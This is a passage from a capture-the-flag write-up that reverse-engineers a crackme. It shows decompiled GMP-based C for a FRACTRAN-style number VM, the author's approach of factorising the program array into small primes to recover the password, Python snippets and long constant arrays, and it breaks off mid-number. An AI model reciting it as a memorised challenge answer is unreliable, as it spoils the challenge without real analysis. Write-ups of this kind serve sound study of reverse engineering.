"7553129670700810117236177443049339501407393353024497112491720588260921329", "654461", "57657478402296260436917385061445339705399949259728985591539851818785659", "997", "133489", "997", "25980185209260680155983489091150957266592864263389645865369284413013694711280605231725376148215553402565525344770150494341675231231995828510711703056761109302213135579423282202157355856501247492062574715366490096512678476350758824550709012111849700772341340219", "656503", "189636388388764088729806489716430345011626746448099604856710105204479523440004417749820263855587981040624272589563142294464782709722597288399355496764679629943161573572432716804068290923366770015055289893186059098632689608399699449275248263590143801257965987", "997", "139603", "997", "1061284478093134120490574326138962643383576170348591120451178777693851339358901234566104134284107020944540308065951031722956299232212106738300915810230160757429918716369835743989417390909386076858457295662168989239554402068894161149423576941499", "660587", "7635140130166432521514923209632824772543713455745259859360998400675189491790656363784921829382064898881584950114755623906160426131022350635258387123957991060646897240070760748125304970571122855096815076706251721147873396179094684528227172241", "997", "141641", "997", "27806982057853581864459841488908693336336627810182075117867298413541027939991858305143598359129694257228778010677915055505909918139828064754213739020059405463623859463575550295673176217514418739572901818140347404036512846794190316979114076091957059089918247219", "666713", "186624040656735448754764036838313378096218978591826007502465090023765288187864820839889921873353652733079047051529631245006106833153208488283313684698385271567945365527352686548142122265197441205187260524431861772057133199961008838786000510684275564361867431", "997", "151831", "997", "3285953693565530256115800482073279437127404312775462128879985648281136509133852277946366476820598526610405012654942447679756925982034824013822476121812295179872880312347210182423656346523480923472854342890714431110955178199116118028229426669", "672839", "21761282738844571232554970079955492961108637832950080323708514227027394100224187271167989912719195540466258361953261242912297523059833271614718384912664206489224372929451723062408320175652191546177843330402082325238113762908053761776353819", "997", "153869", "997", "622356281582461391123389336535578068400307622361011899125957703826390742157096885215871433085702703260992789059584333983894288210865658524955265536811354609574720641602347188123108545087591929076283949532906136151478757549983", "674881", "3964052748932875102696747366468650117199411607394980249209921680422870969153483345324021866787915307394858529041938433018434956757106105254492137177142386048246628290460810115433812389092942223415821334604497682493495271019", "997", "159983", "997", "10241536787881076649864784083320725924155487294468200096074282642623762885457", "687133", "62831514036080224845796221370065803215677836162381595681437316825912655739", "997", "166097", "997", "11405250480124509891101363855667497861474483259204554342932963047962397866264996748378991721576010916172344867162584304709430613352445633564921189986187763396984414357275984363672100783488186693142363961454827603244723320557", "691217", "68294913054637783779050082968068849469907085384458409239119539209355675845898184122029890548359346803427214773428648531194195289535602596197132874168789002377152181780095714752527549601725668821211760248232500618231876171", "997", "170173", "997", "1944807869360994770207438536559919056634540443061560281988106382931336667032429874652507850233703229371452968943082618826443877218595974482072630868786603739049970890829171640243310329078072773142632259951108763745080055495578703651", "697343", "11241663984745634509869586916531324026789251115962776196463042675903680156256820084696577168980943522378340860942674097262681371205757077931055669761772275948265727692654171330886186873283657648223307860989067998526474309222998287", "997", "176287", "997", "225073418047842319520715088364130442319988885603897716155330438594055372663041", "705511", "1257393396915320220786117812090114202904965841362557073493466137396957389179", "997", "182401", "997", "225329171368509161580472750897026209271177545132054535919092795048175517709558661017404496471571909222764775628194943731479366517164081876622381021735832173151443162628171041881190685097728786249713457178472422049206541511338483211278808636889900059219", "715721", "1244912548997288185527473761862023255641864890232345502315429806895997335411926303963560753986585133827429699603286981941874953133503214787968955921192442945588083771426359347409893287832755725136538437450123878724898019399660128239109439982817127399", "997", "184439", "997", "147948824613896094021559256468208240621247063714817440181805623939619560948705390107983487027464637347879398154756846108483531621445912903031841905046959331289859397842582645928423887704550435180423126450785960262310310693874091438507922975428859476159809606172410845400699", "723889", "774601175988984785453189824440880840948937506360300733936155099160311837427776911560122968730181347371096325417575110515620584405475983785507025680874132624554237685039699716902742867563091283667136787700450053729373354418188960411036245944653714534868113121321522750789", "997", "194629", "997", "3663574983339472396374498535089718440151822588170139197923643104403964824873940016494197681580897911686389150772108064161475879219326417780345224634357375369523896053565948898451794062203069501481019903036711514600073580767056801019", "734099", "18982253799686385473442997591138437513740013410207975118775352872559403237688808375617604567776673117546057776021285306536144451913608382281581474789416452691833658308631859577470435555456318660523419186718712510881210263041745083", "997", "196667", "997", "8455278772776224374271023592698437808269362247194077422320886658621746174281418149174663922086515928205781678321990770649841595335371231946470738240060062353185284927152119985585357359688807996283753901135009827258161244214785267280127016797383", "742267", "42920196816122966366857987780195115778017067244639986915334450043765209006504660655708953919220893036577571971177618125126099468707468182469394610355634834280128349884020913632412981521262984752709410665659948361716554539161346534416888410139", "997", "200743", "997", "7418664063326667174171516407096672529836721739118262523809114802763367797444381", "748393", "37279718911189282282268926668827500149933275070946042833211632174690290439419", "997", "202781", "997", "1216142943931601900840499346326153294372963200662871598602878771751067301282935383481935570679941736286303494921026416345368409318863091781019560429709350064711390142526964314902108955296323216588439774090112698978970772874445246117374500899", "754519", "5763710634746928440002366570266129357217835074231618950724543941948186262004433097070784695165600645906651634696807660404589617624943562943220665543646208837494740011976134193848857608039446524115828313223282933549624515992631498186609009", "997", "215009", "997", "138691792998900981393067649792787848641037326193951782941236989320550933465674492476050781517256816980352563136501783747517774908582709149868844034074488483067697567425768441388229379485083067254522425925225280069810787466572004302011", "758603", "621936291474892293242455828667210083592095633156734452651286947625788939307957365363456419359896040270639296576241182724294954747007664349187641408405777950976222275451876418781297665852390436118934645404597668474487836172968629157", "997", "227237", "997", "2028493490644134181545071400466908110867796623181315854487633734557528690094386218346576853932530189093546742060337625157893636505419736098290811151374445048600018545156783393583253452964962427130653747772754254546889532223197256645401908955067327736231726068875643791579593259", "766771", "8936094672441119742489301323642767008228178956745884821531426143425236520239586864962893629658723299971571550926597467655919103548104564309651150446583458363876733679104772658957063669449173687800236774329313896682332741071353553503973167202939769763135357131610765601672217", "997", "231313", "997", "14149311638818710272508768215683034141538149399907158174569462453878173117322097753573649385838904038871126756217699203940141028311501017698570123066261061120171424198367746633234728713058889449330070324521632921517787014310284981552853646663319503779299", "772897", "61787387069077337434536105745340760443398032314005057530871015082437437193546278399884931815890410650092256577369865519389262132364633265059258179328650921922145957198112430712815409227331394975240481766470012757719593948953209526431675312940259841831", "997", "233351", "997", "30093876104292118234789101271657244880699998710604456683832260298422030702485065967861524326546606571039352053995299041938053973700300262936244544083334881309585916203495310045228392711906230431409629365533390067925197505085591927635071892148491", "776981", "129158266542026258518408159964194184037339050260104964308292962654171805590064660806272636594620629060254729845473386446086068556653649197151264137696716228796506078126589313498834303484576096272144332040915837201395697446719278659377990953427", "997", "237427", "997", "3341433274322410860909358920965655465914609433427753011787584445887163322575233606213353128070580943023650547154816689267633028226655069995528795004468493200031965955545943936872867057651796177238218640454146294226353627831975242231915884119383355513992675163415937324785211381", "785149", "13980892361181635401294388790651278100061127336517795028399934920029972060984241030181393841299501853655441619894630499027753256178473096215601652738361896234443372198937003919970155052936385678820998495624043072076793421891109800133539264097838307589927511143999737760607579", "997", "243541", "997", "4118476469007064308947375538559785902711241611772556924176911678360484298072250699", "789233", "17089113979282424518453840408961767231166977642209779768368928125977113270009339", "997", "245579", "997", "931152388751175201699068624778090289867417543528220592117152773927749269913068388840365617398521258477932276771590394237676949552026467097846301304616397612088831084369673137110207936130665169120295304026669889420982367047795994272488560887275037507805158319176442153344967337522071321821019", "803527", "3709770473112251799597882967243387609033536029992910725566345712859558844275172863905839113141518958079411461241395992978792627697316601983451399619985647856927613881950888992470947952711813422790021131580358125183196681465322686344575939789940388477311387725802558379860427639530164628769", "997", "255769", "997", "2891247412588934131535766310701430184913777993027195144625265514460073835877768281374678458180366942013537958473137407582426122601856395302375298667160312868283179007377451488414685852848881981660077537670642989489234007367886409503052947081175934785149006331", "813737", "11249989932252661990411542064986109668925206198549397449903756865603400139602211211574624350896369424177190499895476294095043278606445117908075092090117948903825599250495920188383991645326389033696799757473319025249937771859480192618883062572669006946105083", "997", "261883", "997", "13899422530678692053654718384395654516426347025655826879567494777451559730600568674546707009339019292739476335367327016017867581118288482087649526209799357787918091759795268071323583783939990378975910915464265365184472642331075137172120703394599859293071808179295648708579999684135452477", "825989", "52849515325774494500588282830401728199339722531010748591511386986507831675287333363295463913836575257564548803678049490562234148738739475618439263155130637976874873611388851982218949748821256193824756332563746635682405484148574666053690887431938628490767331480211592047832698418765979", "997", "267997", "997", "1355699963191169974672204718471466004562253812733568890856366430755543607435448494756142541415471836728113575979434855183498286076476238071951618737682287160425884197494461103908314040707400572892652361779504788601631816417329651376067771467758410992920761631", "828031", "5039776814837063102870649511046342024394995586370144575674224649648860994183823400580455544295434337279232624458865632652409985414409806958927950697703669741360164302953387003376632121588849713355584988027898842385248388168511715152668295419176249044315099", "997", "274111", "997", "197770168183920893490702355213946062548862275593686785036823325489830493680361725109", "838241", "729779218390852005500746698206443035235654153482239059176469835755832080001334779", "997", "276149", "997", "235066939145603730138455797181895332556660643522557763976711397934654296027286248141866352067440614645980785211857345634122543197521067658886043737467928065242170439144153675267262025034856560884161819395341422586089798939047835618577282359011", "840283", "848617108828894332629804321956300839554731565063385429518813710955430671578650715313596938871626767675020885241362258606940589160725876024859363673169415397986174870556511463058707671605980364202750250524698276484078696530858612341434232343", "997", "282263", "997", "653856944817121418564574769158558214241652061694177451283815899696349734329343253379", "844367", "2326893042053812877454002737219068378084171038057571001010020995360675211136452859", "997", "286339", "997", "153750924705191331202642487855432301214999247349347135664932925672884382532572106143629862520851000964392448797347295129760339890447171549018979033727220079019470962832403597856104509630053226079444303822073464068832801004488749074363606794131843019", "846409", "543289486590782089055273808676439226908124548937622387508596910504891811069159385666536616681452300227535154760944505758870458976845129148476957716350600985934526370432521547194715581731636841270121214918987505543578802136002646905878469237214993", "997", "288377", "997", "9247489933034770345008842513605671240539329503796940360077790769034919055860192075961498268156080222753546521642413997960863602513249430650096399945058850657850730509948718278723816846696059730196008820021372108447626975263432296338773003684247622175988091632568335607339591109011826268182783373997524131", "856619", "31561399088855871484671817452579082732216141651184096792074371225375150361297583877001700573911536596428486421987761085190660759430885428839919453737402220675258465904261837128750228145720340376095593242393761462278590359260861079654515370935998710498252872466103534496039560099016471905060694109206567", "997", "298567", "997", "1717407504335870232912715929360339133649245648531977431437710884144242413898244908199676348333630782469611821101441951565524681310844200869852683280497944626558680801715390769378642397671865997499800973267974091300091032739882947247896538134151189417", "870913", "5594161251908372094178227782932700761072461395869633327158667375062678872632719570682984847992282679054110166454208311288354010784508797621669978112371155135370295771059904786249649503817153086318569945498286942345573396546849991035493609557495731", "997", "312833", "997", "186094640094728709905582884915209478720162295193640169865982338425202130855964448777365803096561599373266189003786443004976861963671620462507490499001087000062228617512324435299563374854468112230954656065794720439794736047301775255274615166365555906615082699", "874997", "598375048536105176545282588151798966945859470076013407929203660531196562237827809573523482625599997984778742777448369790922385735278522387483892279746260450360863721904580177812100883776424798170272205999339937105449312049201849695416769023683459506800909", "997", "316909", "997", "99031418963697124674853988324325827852540883371919853044916122582908820976031775150461062479829273919254632432784471230762209126862746456311631012017430778342731130579275835965526802369447102695762351319328603240840216102895901102277717945225511617318692885468391820057855359602494115072883", "877039", "316394309788169727395699643208708715183836688089200808450211254258494635706171805592527356165588734566308729817202783484863287945248391234222463297180290026654093068943373277845133553895997133213298247026608956041023054641839939623890472668452113793350456503093903578459601787867393338891", "997", "318947", "997", "42242760426214852365008492021688249001199142271915160025206075397415289834494590552596465606988123248212551380300285932126774225020692469707080058167842164648746139668051737622910245137506042977114350839236678790426338968454103079402971043834421080175047132836133633496964302426327", "881123", "133257919325598903359648239816051258678861647545473690931249449203202807048878834550777494028353701098462307193376296315857331940128367412325173685072057301731060377501740497233155347436927580369445901701062078203237662361053952931870571116196911924842419977401052471599256474531", "997", "323023", "997", "107307369572290541384475737454740253494018594946523953948261811827034605510928874078489851241855815524617369122814813937716249011703046172889308428655342212025001891566435646387451504158097825535109820621633632481094109611807638752054352547330203174484844484659", "895417", "324191448858883810829231835210695629891294848781039135795352905821856814232413516853443659340954125452016220914848380476484135987018266383351384980831849583157105412587418871261182792018422433640815168041189221997263171032651476592309222197372215028655119289", "997", "337289", "997", "55064612321770155133157362474829199989035428581948598172981940137568403555187622908028564874669701059511946421406182521933816203496055859680958661046865172951343822363678488724509509061180572829585917059572354958143854719027588481590624599078397653942081134186048842079801519289417050168490082593323", "899501", "163396475732255653214116802595932344181114031400440944133477567173793482359607189638066958085073296912498357333549503032444558467347346764631924810228086566621198285945633497698841273178577367446842483856297789193305206881387502912731823736137678498344454404112904575904455546852869585069703509179", "997", "343403", "997", "191910400529505153557224617029107865694106741205348818904526992376067891765008424641623636027152487218384283069648741467693297373871543851103342180022015891721139900840652679154541010152081242584577176398651308152433498225132989871250359174352180752175700889727556239511651", "901543", "553055909306931278262895149939792120155927208084578728831489891573682685201753385134362063478825611580358164465846517197963393008275342510384271412167192771530662538445684954335853055193317701972844888756920196404707487680498529888329565343954411389555333976160104436633", "997", "353593", "997", "195306582131271451009334326954770025184144851578630324452422872021506820732014956379715234978255404349682123138757786675633123282560391857045894094521929176524667838378563095623212129113112952618142325576737520038648102942539205523023679173996788382216711019", "905627", "559617713843184673379181452592464255541962325440201502729005363958472265707779244641017865267207462320006083492142655231040467858339231682079925772269138041617959422288146405797169424392873789736797494489219255125066197543092279435597934595979336338729831", "997", "355631", "997", "1215456615647736981075511688343015609651098104001912463828764256884376773285956483375387", "926047", "3443219874356195413811647842331488979181581031166890832376102710720614088628771907579", "997", "359707", "997", "152371024479309333613791270766813059934644240963510757940065726092042020167346294014239858246488261844181541553866797374541435361748272964733304606225836878830766560242205779764084434055945144673618075979996122754129399688334667194097420399639375481262924139926860301", "930131", "424431823062142990567663706871345570848591200455461721281520128390089192666702768841893755561248640234488973687651246168639095715176247812627589432383946737690157549421186016055945498763078397419548958161549088451613926708453111961274151531028901062013716267205739", "997", "365821", "997", "8805855872789019240710264044493313902829667579523595450483405927948456557973767381593768592699990307656047373848464298739897608488173415985344555327733960422040018571984480783688585363881034183770028635322562755061525965264076157536693656742309428857200200534740552445744340920479346348313632819317", "938299", "23994157691523213189946223554477694558118985230309524388238163291412688168865851176004819053678447704784870228469929969318522093973224566717560096260855477989209859869167522571358543225833880609727598461369380803982359578376229312089083533357791359283924252138257636091946433025829281603034421851", "997", "373973", "997", "1095376316278855322873293779067055170364191817021514439349116525031244403693815779672168678363649208457797649035029957775057822028226826207868697627085868397348111959279609148252080232892263125008811953482298559446432650497666173228960391046465035759461531583942148845722771586537518927520699", "948509", "2936665727289156361590599943879504478188181815071084287799240013488590894621490025930747126980292784069162597949141977949216681040822590369621173262964794630960085681714769834455979176654860924956600411480693188864430698385164003294799975995884814368529575292070104144028878248089863076463", "997", "380087", "997", "15369226844695333062849381477909582790193081087319522766401784914789199098254937701754942361481513813591507178592892064416009512989526432006888411812015707106697003660843933262218400518290304215112593252662042221838402637726323711885254485048250408355850463886893101619739", "956677", "40552049722151274572161956406093885989955359069444651098685448323982055668218832986160797787550168373592367225838765341467043569893209583131631693435397644080994732614363940005853299520554892388159876656100375255510297197167081033998032942079816380886148981231907919841", "997", "386201", "997", "17936335753803465319644606369717202510207061261553117383696431100566559448104053392344197", "960761", "46831163848050823288889311670279902115423136453141298651948906267797805347530165515259", "997", "390277", "997", "25893139746956375074671910466488819057973682757474498176744179853848279269471981476034178206434626829662341282305098421017615074690674938772214414369410376488767243876576772000943323646306806499600311513657727872637967224802501913807127372752863262895742486671", "966887", "66563341251815874227948355954984110688878361844407450325820513763106116373963962663326936263328089536407046998213620619582558032623843030262761990666864721050815536957780904886743762586906957582520081011973593502925365616458873814414209184454661344204993539", "997", "396391", "997", "73974572111317406360276225631919880970967230930546543997873687812509688512760842513788622380060283819337381239289168279398371925148558197982252822440463431991798888852483797550848552471579198228007110388157478970670518327902466795935796129943875075370218141183995374789284599233523734628628605149143767", "973013", "186333934789212610479285203103072748037700833578202881606734730006321633533402625979316429168917591484477030829443748814605470844202917375270158242923081692674556395094417626072666379021610071103292469491580551563401809390182536009913844156029912028640347962680089105262681610160009407125009080980211", "997", "404543", "997", "1307141793874862084461913041302240551365792174026016528279865697359005336719217669177196976468676813204191353984957820150881355004620906305582162121381248966040062853839635204011545101328676009151433346953408816476579132602933740590965014866256568699705065819", "987307", "3259705221633072529830207085541747010887262279366624758802657599399015802292313389469319143313408511731150508690667880675514601009029691535117611275264960015062500882393105246911583793837097279679384905120720240589972899259186385513628466000639822193778219", "997", "408619", "997", "7093242912463185348072070110212638351742462073193796871217834643050267179901187029507018490754437695656607535423037831588564687811978689937562105842348187968983989171429748478114974959055204956755248726089665726321535007236838047456328883300447788907493192538880498815296925888779", "991391", "17342892206511455618758117628881756361228513626390701396620622599144907530320750683391243253678331774221534316437745309507493124234666723563721530176890435131990193573177869139645415547812237058081292728825588572913288526251437768841879910270043493661352548994817845514173412931", "997", "416771", "997", "1185579641965561589160299697265721932824027132750467864460376877428924099444308658448594136390967744065181760700818974092571770178341715224937792646992702816801853703682587972668759794434610387225171807457005618044826070319744092967744160173564727037441446431202779572868249757967428377671066761", "997517", "2829545684882008566015035077006496259723215113962930464105911401978339139485223528516931113104934950036233319095033351056257208062868055429445805840078049682104662777285412822598472063089762260680600972451087393901732864724926236199866730724498155220623977162775130245508949303024888729525219", "997", "426961", "997", "169052738021865017945085217436498678340551974017269410534135929153837234291820715450799841864356228195340732263779", "1003643", "401550446607755387042957761131825839288722028544582922883933323405789155087460131712113638632675126354728580199", "997", "428999", "997", "89600456898162554710940038315160351182309734414129170687610033541862560707475499371198298316876962891405560250165152771675263407396177488042619118232855720276625778667788670057647578107276749358158513983871052535363437572582097937450349496907401800441822855338949217171751568948262972788043043591458773382280560737161315249005363622939", "1011811", "207889691179031449445336515812437009703734882631390187210232096384831927395534801325286074981153046151753040023585041233585297928993451248358745053904537634052496006189764895725400413241941413824033675136591769223581061653322733033527493032267753597312814049510323009679237978998289960065065066337491353555175314935409084104420797269", "997", "439189", "997", "433", "1013", "1019"};
__int64 length(__int64 a1){ int i;
for ( i = 0; *(_QWORD *)(16LL * i + a1); ++i ) ; return i;}
int factor_print(__int64 a1){ char v2; char v3; char v4; int c; unsigned __int64 i;
__gmpz_init_set(&v4, a1); __gmpz_init_set_ui(&v3, 2LL); __gmpz_init(&v2;; __gmpz_sqrt(&v2, &v4;; for ( i = 0LL; i <= 0xAB; ++i ) { c = 0; while ( __gmpz_divisible_ui_p(&v4, primes[i]) ) { __gmpz_tdiv_q_ui(&v4, &v4, primes[i]); ++c; } if ( !c ) break; putchar(c); } return putchar(10);}
int __cdecl main(int argc, const char **argv, const char **envp){ double v3; unsigned __int64 v4; char v6; char v7; char *lineptr; size_t size; char v10; char v11; int v12; int j; int v14; int i;
__gmpz_init(&v11); __gmpz_init(&v10); __gmpz_set_ui(&v11, 1019LL); size = 172LL; lineptr = (char *)malloc(0xACuLL); v12 = getline(&lineptr, &size, _bss_start); lineptr[v12 - 1] = 0; for ( i = 0; ; ++i ) { v3 = (double)i; if ( fmin((double)v12, 84.0) <= v3 ) break; __gmpz_set_ui(&v10, primes[i]);//v10=primes[i]; __gmpz_pow_ui(&v10, &v10, lineptr[i]);//v10=pow(v10,lineptr[i]) __gmpz_mul(&v11, &v11, &v10);//v11*=v10 } __gmpz_init(&v7;; __gmpz_init(&v6;; do { v14 = 0; for ( j = 0; ; ++j ) { v4 = j; if ( v4 >= length((__int64)program) ) break; __gmp_sscanf(program[2 * j], "%Zi", &v7;; __gmp_sscanf(off_60E2E8[2 * j], "%Zi", &v6;; __gmpz_set(&v10, &v11); __gmpz_mul(&v10, &v10, &v7;; if ( __gmpz_divisible_p(&v10, &v6) )//if v10%v6 == 0 { __gmpz_tdiv_q(&v11, &v10, &v6;;//v11=v10/v6 v14 = 1; break; } } } while ( v14 ); factor_print((__int64)&v11); return 0;}```Seeing the program we can say the code is pretty small. All the logic is written in the array as a vm.I was able to figure out this much during the CTF. I wrote a [py](05223a3cae8b71d81592d5977fb1c3622bcbf793.py) for the same to debug the states when I enter a password.
After the CTF got over I went on the IRC and asked for a writeup on this.[crowell](https://twitter.com/jeffreycrowell) told me about [FRACTRAN](https://en.wikipedia.org/wiki/FRACTRAN).However this solution did not need that logic. As I was playing around with the program I notice that the program array has our "program". More importantly every number in that array can be factorized to primes < 1024.
As every password was fed to the program as
```pythonfor i,j in enumerate(password): v11*=pow(primes[i],ord(j))```
We also see that the program iterates in program array alternately and tries to divide the password.I thought of factorizing the program array with the possible divisors.
```pythonprimes=[2, 3, 5, 7, 11, 13, 17, 19, 23, 29 , 31, 37, 41, 43, 47, 53, 59, 61, 67, 71 , 73, 79, 83, 89, 97,101,103,107,109,113 ,127,131,137,139,149,151,157,163,167,173 ,179,181,191,193,197,199,211,223,227,229 ,233,239,241,251,257,263,269,271,277,281 ,283,293,307,311,313,317,331,337,347,349 ,353,359,367,373,379,383,389,397,401,409 ,419,421,431,433,439,443,449,457,461,463 ,467,479,487,491,499,503,509,521,523,541 ,547,557,563,569,571,577,587,593,599,601 ,607,613,617,619,631,641,643,647,653,659 ,661,673,677,683,691,701,709,719,727,733 ,739,743,751,757,761,769,773,787,797,809 ,811,821,823,827,829,839,853,857,859,863 ,877,881,883,887,907,911,919,929,937,941 ,947,953,967,971,977,983,991,997,1009,1013,1019,1021]program=[1009,1994,1009,437683,1009,2991,1009,441671,1009,4985,1009,447653,1009,6979,1009,455629,1009,10967,1009,459617,1009,12961,1009,461611,1009,16949,1009,465599,1009,18943,1009,477563,1009,22931,1009,485539,1009,28913,1009,489527,1009,30907,1009,497503,1009,36889,1009,501491,1009,40877,1009,507473,1009,42871,1009,519437,1009,46859,1009,521431,1009,52841,1009,539377,1009,58823,1009,545359,1009,60817,1009,555329,1009,66799,1009,561311,1009,70787,1009,567293,1009,72781,1009,569287,1009,78763,1009,575269,1009,82751,1009,585239,1009,88733,1009,591221,1009,96709,1009,597203,1009,100697,1009,599197,1009,102691,1009,605179,1009,106679,1009,611161,1009,108673,1009,615149,1009,112661,1009,617143,1009,126619,1009,629107,1009,130607,1009,639077,1009,136589,1009,641071,1009,138583,1009,645059,1009,148553,1009,651041,1009,150547,1009,657023,1009,156529,1009,659017,1009,162511,1009,670981,1009,166499,1009,674969,1009,172481,1009,680951,1009,178463,1009,688927,1009,180457,1009,698897,1009,190427,1009,706873,1009,192421,1009,716843,1009,196409,1009,724819,1009,198403,1009,730801,1009,210367,1009,736783,1009,222331,1009,740771,1009,226319,1009,748747,1009,228313,1009,754729,1009,232301,1009,758717,1009,238283,1009,766693,1009,240277,1009,770681,1009,250247,1009,784639,1009,256229,1009,794609,1009,262211,1009,806573,1009,268193,1009,808567,1009,270187,1009,818537,1009,276169,1009,820531,1009,280157,1009,824519,1009,282151,1009,826513,1009,292121,1009,836483,1009,306079,1009,850441,1009,310067,1009,854429,1009,312061,1009,856423,1009,316049,1009,860411,1009,330007,1009,874369,1009,335989,1009,878357,1009,345959,1009,880351,1009,347953,1009,884339,1009,351941,1009,904279,1009,357923,1009,908267,1009,365899,1009,916243,1009,371881,1009,926213,1009,377863,1009,934189,1009,381851,1009,938177,1009,387833,1009,944159,1009,395809,1009,950141,1009,399797,1009,964099,1009,407773,1009,968087,1009,417743,1009,974069,1009,419737,1009,980051,1009,429707,1009,988027,1009,431701,997,1009,628342186020279030208477196652234251466546172127229920271442149116418270266805114129323801879492482137898525457610034761318243685701612999753301446499402184019047334363868952491996606714667813682795710496729144356627735845123676166105603998123636223487640503561426022924983170637012661801780667366986496506030776535567526896671098662632123365168743664803047333533266651378724651134747558720373671125128918192606546275484822315302537833017347515852873969123863196991591128905797797953641849823901200591253758989661116185809449387114754110693862270878790685521494032855174559448217678703819332109924602615048084195117590112536399286371826740412069584415578436175604905487388386875110557418165843986191168930994241095051887359640391104091658653518621901534663248053930033780121015835031607604047633957687509170016778799461147891167654749638057549827992932889122995155539900942798016011513799665913318026811781018347609393399492693089473128154346668249800406988857586278307546023464942900979079319193897231953014331315745983540688409217523781284767071786748835334904114251151768066947066974655638700742353772603987770915012114230380632982060506677995390598274839813186589487880327769882355406369328704667144104785532210079866539787033200765829359931127219031553817186725838729517291842565585345287913859037622248318083084610913049915914358110409209100852502593148685289707303219729372851454213282755549475037954209582986949880668930047153621586488494270546617243702586105425080170041634818438278320529852112847863734593944644022898353545446882029646417103689943919192691294079623058308937404741503543204905870498980563398747865075941095954326295793595346961572874520213826034401809759600671385592618044358788220764179037648551723688883462655964529249402109637617708231973919514209153002131026182417912198411370401495384651131774509722038523496382808921942374492604612687129063485332311030348703446367201242825533393540915424705051574412572120162877997562692412185247999611773833311632900771473429755915441182540269617877214830627528032509574263455045777758312790203647404347503161728097958892560903112974915627570659454527665768438056409725068410760146580760573561825743041360562327507023011036093343294488329397226160195885463366678787014633928020875226483619664858890687676379225725094561398719056931046049652997474332655225198880371911150572119222293804816869964938939569929273415161422698066449231388944785154171990521448471715053090799940542872248125377623217571815993265916187470537162268436325773823823025764997980088398890569841898462161853267169228882950197460075182837289919940982931539635781819167833327053366074466169096663110752528063831392419664656628996209161385538062512860770349218644155662924022242464260618852724359227862586009757511987837154780681347585339557128064674324666633148721900366457274096873746373036267539915146015258255209166409983804123119669569892997296082665906047894529706757974988307364081640652759420620606279591460036311764255114156837496511088449627305129870293650489346534475746640218520980739890581556540008279019229663760636485837245208764597357678419738833265275277731038701789683747837440024384633103957164283508891650623445519394459252271959449686279179444136374415706603701561041515600084286014592770962766546924881353153028839585503598573550964862568899783340905087121767189848319028823764126564635152182745746588976064614585513882178320384662630419491983556919743035918979272357120571425297548004511661675273618557126654548778343459193970691487722304790664607581194061709590959173879314951330697843870052828316024354166567082187518547658698577696795531130565515421083180252264454883596870044949725930149179966847413679961101162747165984569728196830920577134702664306366364197595517421138209600525104047202300339400088872288316077221656240102231143786257343020802118922926269205047219736723123445530507690137692235730009368553776231094320766355040830168009092017813288396850664476916182018546812944453888512931302160127019704913501725813307841245312731953948196722380163601568492780144962109057602369074555334991621987390374358769710617552391326453785020526405147640026146312997938788804138998232289707025657098750218408744926601492274136339769211112547916354899730071425547372588105403900685731200370521951579349841013973635462586811702994385448941952099615457769200940648360138128946530932948358590141678294540263461985603817191898095061752838756758169435695558894946752558724707225186802024978616855725317670898178008742128975014258782925817349723286317727283132139495271815132726481668557882676887050885378442098538933512778731774361164801103687075162670233525972446022073437141634190995911089958638936702125877258733854190658955211486896795807799247056213685696237168010636560453178295430632262922179196184338010387026042081248735157060332183087380384908870579342268028791502144475517809808520966859616554102946100611417937595977703395161367239525150406899496101767146677522362467244175944639777276553647414851795784699778438111349113652477278343467027323819397269455041625832813112347020033822455376729028165116279358528229084987521170918228041096904599804373545811652965962629163714889427307592378384787948608392935161760512373031943294253135653945376467534645062128214176859177671917924470733170543663095164294078188577644263829357684653992808048115290898706559292435665031983147770618047696164278180114571883909560849919923071788171847093498306550580036114960340160679659003480666374351890273587413582104233093778316851445659944947034432138454639433320133679779403332875832288448336528056715331939264128997610951123085318980941191657450923186786281447594211168439296167068599875424211947381124503574287428653464197183586766917064698969607222676938892700337244499023740021533322407975632591913985176741704511237708175586215484912007730703539347900914569981861379239832893109915816827892646998809604355655684309972455745534857625387871413240766757912260561276872396077870424036155192914575494839379065148798577492895218102356645374808828351190560242930341412752377938339484272418298446253783645567893675139638014454360329933950740656010948440208956227962611495754650589391649847173952559561706238119700416870351183225680846641395695009002342404433610812356666485300887852999615689594544734258696785715335953720841080346734273745462225722854716944440612200907986986761974645226700321349237318729650027840661849263165071729001132412715683532938282372956492101123225224688540919293418074389951077117059370386174729181602053802620109858124680047124580359410149534093848987322604588465223269320290130009628419324527856018953957600035078765304742008540572117322791116024555796432461153651126300748828389259598990206877366444955852954604969428779178082528034059004222296475937635225715400197410351141529356047922229074568209997829979346838932511651507196184691420815697818582222639999405831514378102612043068259534775279462337493896484375000000000000000000000000000000000000000000000000000000000000000000000000000000,997,5020973558043690795472466436617612912981186347488363636494918897580345094619354831599150783154458643768824774086684855736649234567349871237720799314877192413924062850078649636850002055053944829186672671708163716322615209049354719596052941417213532076312584086034682854165737646092676148538845676199745010081171006469722614059402250242308785689918241284131648855341488804135227553569275395839797208481228297968911162075439845594462320763237357071166784713446778736264921216635219120279353441051381445681864657026276821922514536569544725327622938331970575312038054498527495497627987060787647164378259819498672242544076388147523885345280342831806880870923391335094231290063505894883622740743763068210341558532266730092057471805710970239830698232092553019009302257534520260356188869212033343552453220921330349478151838282759011653076078016714211215874482198987741235273840751410610227050746299055028652883630584960936757395646616847713407087225242767250411952408673845861387774237778205037416623206011306490376976238654472840823151891585075016585390922891098308045393593571415253634799881795632166478595261694471140226795538975637348108530604584641278570409344858021708185167591243455235623668321570654443319286878417340676933354064642723586253821998813504508098460362918587904912942418728303547539706696690550986778207008561820335924406226344605013700816659534219628975931010285852931303562594784807047348570737396800467230532753148948447635460563997386651374238754668022458990241654392066026389403056595070158613582087349737094737658808886315648062674551872063472621765109045797432205715733767132011793304312274933554077784748964538523889920306652843830639205498914392896052991230020283366189067754757119427529149351327101078032307908260603623126125800088927147739506163527183895257938715531016954102699245294031066253590763425350011991169491433278653398617395440744762010472263802586218941241055055743015914720823242262689467262506542601425806024500357983702028225857710867057862345336237222517523041907324188469202303664776657176177623265573649232807583121306909916426816016755317491385615404780845499430052098612881460431944822161954276179349694442740819075713633944412726802575579188952121635648787756123395044724581329422707259129800369169535652642639801159987649031332406466937818074557103914266685904770137348134689897321542175254693720185576746443281607586987415388428553993232704096407666570219410589863873312494539460705640975599199448114612634267109102407317730904132567388335904394477797328315856196208327128937370947369504646584356343462801435206697336876183024095674551448335131879630403438713907124638478413853269148185567784954639444384365569717712309310955147830166043443238005822635747057545664360288684594697328877448799025973804079099439380682972847878899045536018223183365782765974974091131423937943531681735723827404656800066615668567805386492162335823765656414065284523264752292185725090814264699334921326855584899083371098784162003309739906310772506255393733874274017314112532904577039191591007997878380622798755534627692925758417448816637818373973221551606967096451086316437822279771077272376148121571163290736638931514234910318028624294165025145259063674698090046911948075